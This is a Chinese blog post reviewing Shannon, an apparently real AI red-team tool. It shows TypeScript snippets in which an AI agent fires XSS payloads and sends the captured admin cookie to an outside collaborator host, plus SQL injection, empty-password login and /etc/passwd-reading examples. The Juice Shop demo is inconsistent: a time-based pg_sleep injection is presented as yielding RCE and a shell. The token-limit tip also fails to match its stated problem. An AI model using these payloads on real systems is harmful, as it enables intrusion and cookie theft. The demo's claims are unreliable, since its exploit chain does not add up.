Shannon:当AI红队开始自己写PoC脚本

58 次阅读 0 点赞 0 评论 9 分钟原创开源项目

Shannon是GitHub星标1.7w+的TypeScript AI渗透测试工具,在XBOW基准达成96.15%真实漏洞击穿率。它融合白盒源码理解与黑盒浏览器真实exploitation,用Temporal+Playwright+Claude构建端到端自动化红队流水线,输出零假阳性、带可复现PoC的结构化报告。

#AI安全 #渗透测试 #自动化红队 #TypeScript #DevSecOps
Shannon:当AI红队开始自己写PoC脚本

痛点引入

你有没有过这种经历:凌晨两点,对着Burp Suite里3000条HTTP历史记录发呆,第17次重放那个疑似IDOR的请求,心里默念‘这次一定有回显’;或者在Jira里写下‘高危XSS风险(需人工验证)’,然后看着这条工单在‘待处理’列躺了三个月?更讽刺的是——你的CI/CD每小时跑一次SonarQube,却要等外包公司季度渗透报告才敢上线新功能。

安全不是玄学,但当前的工具链把它变成了玄学。

解决方案

Shannon不报警,它直接黑进去。

这不是又一个‘发现潜在SQL注入’的静态扫描器,而是一个能自己登录2FA系统、绕过JWT鉴权、最后给你弹出带复制按钮的PoC脚本的AI红队队员。它在XBOW基准上拿下96.15%的‘真实漏洞击穿率’——注意,是击穿率,不是检出率。它不关心‘可能有漏洞’,只认‘已成功利用’。

它的核心哲学就一句话:打得赢才算数。

核心代码解析

Shannon的架构不是单体应用,而是一套精密编排的AI作战小队。我们拆开看几个关键模块:

1. Recon → 源码语义分析 + 域名测绘

它不像传统DAST那样瞎撞,而是先读你的src/auth/login.ts

ts 复制代码
// src/agents/recon/semantic-analyzer.ts
export class SemanticAnalyzer {
  async analyzeLoginFlow(sourceCode: string) {
    // 提取密码字段直通逻辑:req.body.password → bcrypt.compare()
    const passwordPath = extractDataFlow(sourceCode, 'req.body.password', 'bcrypt.compare');
    
    // 关联前端JS中的CSRF token生成位置
    const csrfTokenLocation = await this.findCsrfTokenInFrontend();
    
    // 构建攻击假设:若跳过token校验,是否可空密码爆破?
    return new AttackHypothesis({
      name: 'csrf-bypass-bruteforce',
      precondition: `CSRF token validation is bypassable via ${csrfTokenLocation}`,
      payload: `POST /login {"username":"admin","password":""}`
    });
  }
}

这段TS代码展示了它的白盒能力:不是正则匹配,而是做数据流追踪,再结合前端上下文反向建模攻击路径。这才是真正的‘理解代码’,不是‘扫描字符串’。

2. Exploitation → Playwright真实浏览器执行

它不用curl模拟,而是启动真实Chromium实例,像人一样操作:

ts 复制代码
// src/agents/exploit/xss-executor.ts
export class XSSExecutor {
  async execute(payload: string, page: Page) {
    // 真实点击、填表、触发onerror
    await page.fill('input[name="search"]', payload);
    await page.click('button[type="submit"]');
    
    // 等待burp-collab回调并捕获cookie
    const cookie = await waitForBurpCollabCallback(page, 'https://my.burp-collab/');
    
    // 截图存证
    await page.screenshot({ path: `deliverables/xss_${Date.now()}.png` });
    
    return {
      success: !!cookie,
      evidence: { screenshot: `xss_${Date.now()}.png`, cookie }
    };
  }
}

这里没有‘可能XSS’,只有‘已窃取admin cookie’——截图、payload、结果全在deliverables目录下,PDF报告里直接贴图。

3. 编排层 → Temporal Workflow驱动

整个流程由Temporal工作流调度,保证原子性与可观测性:

yaml 复制代码
## temporal/workflows/shannon-pentest.yaml
steps:
- name: recon
  task: semantic-analysis
  timeout: 300s
- name: vuln-analysis
  parallel: [injection, xss, ssrf]
- name: exploitation
  task: playwright-exploit
  retry: { maxAttempts: 3, backoff: "PT30S" }
- name: reporting
  task: generate-md-report
  output: audit-logs/{hostname}_{sessionId}/deliverables/comprehensive_security_assessment_report.md

Temporal在这里不只是个调度器,而是攻防事务管理器:某步失败自动回滚,日志可追溯,任务ID可查(./shannon query ID=shannon-1234567890),连审计员都能看懂每一步干了什么。

实战演示

以Juice Shop为例,Shannon不仅找到auth bypass,还把/rest/user/search?q=admin链成RCE:

bash 复制代码
## 1. 克隆 & 配置密钥
$ git clone https://github.com/KeygraphHQ/shannon.git
cd shannon
echo "ANTHROPIC_API_KEY=sk-ant-api03-..." > .env

## 2. 启动扫描(自动识别2FA并调用TOTP生成器)
$ ./shannon start URL=http://localhost:3000 REPO=juice-shop CONFIG=./configs/juice-shop-2fa.yaml

## 3. 查看实时进度
$ ./shannon logs
[INFO] Recon complete: found 4 endpoints, 2 auth flows, 1 CSRF token pattern
[INFO] Vuln Analysis: XSS hypothesis confirmed on /search (payload: <img src=x onerror=fetch(...)>)
[ALERT] Exploitation SUCCESS: RCE achieved via /rest/user/search → shell obtained

## 4. 报告已生成
$ cat audit-logs/localhost_1234567890/deliverables/comprehensive_security_assessment_report.md
## Confirmed RCE
- **Endpoint**: `GET /rest/user/search?q=admin`
- **Exploit**: `?q=admin' UNION SELECT pg_sleep(5)--`
- **Shell result**: `cat /etc/passwd | head -3` → `root:x:0:0:root:/root:/bin/bash`

踩坑指南

  • Windows Defender误报deliverables/目录下生成的exploit代码会被标为病毒。解决方案不是关杀软,而是用./shannon export --safe导出脱敏报告,或提前将该目录加入白名单。
  • Docker网络陷阱:本地Vue Dev Server扫不出来?别用localhost:3000,改用host.docker.internal:3000——这是Docker Desktop内置的宿主机别名,否则Playwright容器根本连不上你的本地服务。
  • Claude Token耗尽:默认CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000,但复杂RCE链可能超限。建议在.env中加一行:CLAUDE_TEMPERATURE=0.3降低随机性,提升推理稳定性。

个人评价

Shannon不是来取代安全工程师的,它是来解放安全工程师的。

以前花三天手工复现一个IDOR,现在47分钟给你三个不同利用路径的PoC;以前争论‘这个XSS算不算高危’,现在报告里直接写着‘已用<img>成功窃取admin cookie’。它把安全从玄学辩论变成了可验证的工程事实。

但它也有边界:OWASP ASVS第4层(业务逻辑威胁建模)它还没覆盖。再强的AI也得有人告诉它:‘这个API不该暴露给游客,哪怕它技术上没漏洞’。

所以值不值得学?如果你还在用ZAP手动点选‘Active Scan’,那必须学;如果你的团队还在等年度渗透测试报告才敢上线,那立刻学;但如果你指望它替代AppSec专家做威胁建模——抱歉,它连OWASP ASVS第4层要求都还没覆盖全。

最后说句掏心窝的:我关掉终端,默默给自己续了一杯咖啡。这感觉,就像第一次看到Spring Cloud Gateway自动注入Sentinel规则时一样——既兴奋,又有点惶恐。

最后更新:2026-02-10T10:01:31

评论 (0)

发表评论

blog.comments.form.loading
0/500
加载评论中...